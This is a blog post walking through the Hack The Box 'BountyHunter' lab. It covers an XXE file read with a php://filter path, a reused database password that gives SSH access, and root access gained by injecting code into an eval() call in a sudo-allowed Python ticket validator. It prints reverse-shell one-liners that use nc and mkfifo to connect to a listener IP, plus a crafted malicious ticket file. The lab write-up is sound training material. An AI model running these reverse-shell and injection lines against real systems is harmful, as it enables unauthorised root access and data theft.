Link: https://app.hackthebox.eu/machines/BountyHunter

Enumeration

nmap port scan

We have an ssh server open on port 22 and a web server on port 80. Performing a searchsploit on the available versions gives no meaningful results.

Web Server

First navigating to the website takes us to a basic webpage using the Start Bootstrap – Freelance v6.0.5 template. The contact form is not setup to actually collect the information. Download the pricing sheet also goes nowhere.

There is a /portal.php page with a /log_submit.php link. I also ran gobuster and found /assets and /resources have directory indexing on so we can look inside. I found this /resources/README.txt which may be of use:

Tasks: 

[ ] Disable 'test' account on portal and switch to hashed password. Disable nopass. 
[X] Write tracker submit script 
[ ] Connect tracker submit script to the database 
[X] Fix developer group permissions

There is also a /resources/bountylog.js which is used with log_submit.php. It seems interesting because it sends a base64 encoded payload of the form xml to returnSecret. This function calls a /tracker_diRbPr00f314.php:

bountylog.js

The returnSecret just fills back in an HTML table with the data from the XML form:

tracker_diRbPr00f314.php

Using a list of XXE Injection payloads, I determined we can read arbitrary files on the system. By base64 encoding the following payload, I get the output of /etc/passwd:

I wrote a quick python script to be able to inject the entity via parameter like so:

quick py script

But really the only interesting file I found was /etc/passwd. Inside of this file we can see a user of development.

I was at a deadend so I ran another gobuster scan with -x 'php' and found a db.php file. Using my above script like so:

python3 xxe.py php://filter/read=convert.base64-encode/resource=/var/www/html/db.php   


We get some credentials!

<?php
//TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K";
$testuser = "test";
?>

Using the user of development we found from the /etc/password file and the above password for the database, we can ssh in!

PrivEsc

With access, I ran ls and grabbed the user.txt. There is also an contract.txt which mentions we were given permisions for an internal tool. Running sudo -l shows us the location of the tool, we have admin rights with no passwd over the tool:

Checking the permissions, we can only read the file, or execute as root.

cat the file out, we can see it is looking for a certain format of .md file for ticket validation. Some examples of failed ones are in /invalid_tickets

Here is the code for the validator:

#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.

def load_file(loc):
    if loc.endswith(".md"):
        return open(loc, 'r')
    else:
        print("Wrong file type.")
        exit()

def evaluate(ticketFile):
    #Evaluates a ticket to check for ireggularities.
    code_line = None
    for i,x in enumerate(ticketFile.readlines()):
        if i == 0:
            if not x.startswith("# Skytrain Inc"):
                return False
            continue
        if i == 1:
            if not x.startswith("## Ticket to "):
                return False
            print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
            continue

        if x.startswith("__Ticket Code:__"):
            code_line = i+1
            continue

        if code_line and i == code_line:
            if not x.startswith("**"):
                return False
            ticketCode = x.replace("**", "").split("+")[0]
            if int(ticketCode) % 7 == 4:
                validationNumber = eval(x.replace("**", ""))
                if validationNumber > 100:
                    return True
                else:
                    return False
    return False

def main():
    fileName = input("Please enter the path to the ticket file.\n")
    ticket = load_file(fileName)
    #DEBUG print(ticket)
    result = evaluate(ticket)
    if (result):
        print("Valid ticket.")
    else:
        print("Invalid ticket.")
    ticket.close

main()

Looking over the code, we need to get all the way down to this line:

validationNumber = eval(x.replace("**", ""))

Then we can exploit the eval() statement to call a reverse shell as root. eval would need to try to run this:

__import__('os').system('nc 10.10.14.138 4444 -e /bin/bash')

Next I crafted a ticket to pass all the checks, and pass a reverse shell I used from here.

# Skytrain Inc
## Ticket to Root
__Ticket Code:__
**32+__import__('os').system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.138 4444 >/tmp/f')

It took several different tries (I couldn’t spawn /bin/bash or use nc -e or nc -c) but this finally works and our nc listener is root! The flag is /root/root.txt

Conclusion

Actually getting access to the machine stumped me at first, it required me to go back and enumerate further with gobuster. I already found the XXE exploit for /etc/password pretty easily. The README.txt clued me in that there must be a database configuration file, so I was lucky enough to find the configuration with a .php extension. Also luckily the user account reused the same password as the database.

Getting root was far easier to me, the fact sudo -l returned a python script, I knew this was the way in, and seeing eval() I know that was the exploit. This article taught me about the __import__('os') trick for importing a library when it does not exist, which I used to call a system shell.

It was pretty enjoyable and helped me think harder about enumeration and had me trying several different things to get both flags!

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.